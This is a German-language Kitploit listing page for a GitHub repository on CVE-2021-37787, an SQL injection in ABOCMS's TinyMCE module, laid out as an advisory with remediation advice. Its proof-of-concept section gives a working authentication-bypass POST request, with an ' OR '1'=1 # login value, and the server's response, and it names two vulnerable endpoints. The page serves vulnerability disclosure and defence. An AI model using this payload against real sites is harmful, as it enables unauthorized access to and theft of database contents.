Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-37787 — CVE-2021-37787 | Kitploit
Tools/GitHubGitHub/vasykor/cve-2021-37787
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubvasykor/cve-2021-37787

CVE-2021-37787

CVE-2021-37787

Repository anzeigen
1vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-37787: SQL-Injection in ABOCMS über das TinyMCE-Modul

Schwachstellendetails

  • CVE-ID: CVE-2021-37787
  • Produkt: ABOCMS
  • Betroffene Version(en): 5.8.x, ≤5.9.3
  • Schwachstellentyp: SQL-Injection
  • CVSS-Score: 9.8

Beschreibung

Eine kritische SQL-Injection-Schwachstelle existiert in ABOCMS im TinyMCE-Modul. Die Schwachstelle entsteht aufgrund unzureichender Eingabebereinigung in der Interaktion des TinyMCE-Moduls mit der Datenbank, die es einem Angreifer ermöglicht, bösartige SQL-Abfragen einzuschleusen. Dies kann zu unbefugtem Datenzugriff, -änderung oder sogar zur vollständigen Kompromittierung der zugrunde liegenden Datenbank führen.

Der anfällige Endpunkt befindet sich in der Verarbeitung von benutzereingegebenen Daten durch das TinyMCE-Modul. Ein Angreifer kann diesen Fehler ausnutzen, um beliebige SQL-Befehle auszuführen.

Auswirkungen

  • Umgehung der Authentifizierung.
  • Extraktion sensibler Daten.
  • Änderung oder Löschung von Datenbankeinträgen.
  • Potenzielle Remote-Code-Ausführung, abhängig von der Datenbankkonfiguration.

Proof of Concept (PoC)

POST-Anfrage

root@kitploit:~
POST /js/admin/tiny_mce/plugins/imagemanager/login_session_auth.php HTTP/1.1
Host: <yourdomain.name>
Content-Type: application/x-www-form-urlencoded

return_url=%2Fjs%2Fadmin%2Ftiny_mce%2Fplugins%2Fimagemanager%2Findex.php%3Ftype%3Dim%26page%3Dindex.html&login=1%27+OR+%271%27%3D1+%23&password=1&submit_button=Login

Antwort

root@kitploit:~
HTTP/1.1 302 Found
Server: nginx-reuseport/1.21.1
Date: <date>
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Keep-Alive: timeout=30
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
A-Powered-By: ABO.CMS 5.9.3 (fe01ce2a7fbac8fafaed7c982a04e229)
location: /js/admin/tiny_mce/plugins/imagemanager/index.php?type=im&page=index.html

Angreifbarer Endpunkt

Die Schwachstelle kann über den folgenden Endpunkt ausgelöst werden:

/js/admin/tiny_mce/plugins/imagemanager/login_session_auth.php /js/admin/tiny_mce/plugins/filemanager/login_session_auth.php

Abhilfe

  • Für Benutzer:

    • Aktualisieren Sie auf die neueste Version von ABOCMS.
    • Deaktivieren Sie das TinyMCE-Modul, falls es nicht erforderlich ist.

  • Für Entwickler:

    • Verwenden Sie vorbereitete Anweisungen oder parametrisierte Abfragen für die Interaktion mit der Datenbank.
    • Aktualisieren Sie das TinyMCE-Modul auf die neueste sichere Version.
    • Implementieren Sie eine ordnungsgemäße Eingabevalidierung, um bösartige Payloads herauszufiltern.

Haftungsausschluss

Dieses PoC dient ausschließlich zu Bildungs- und Sicherheitsforschungszwecken. Verwenden Sie diesen Code nicht, um Systeme oder Netzwerke zu schädigen, ohne die ausdrückliche Erlaubnis des Eigentümers. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses PoC verursacht werden.

Tool herunterladen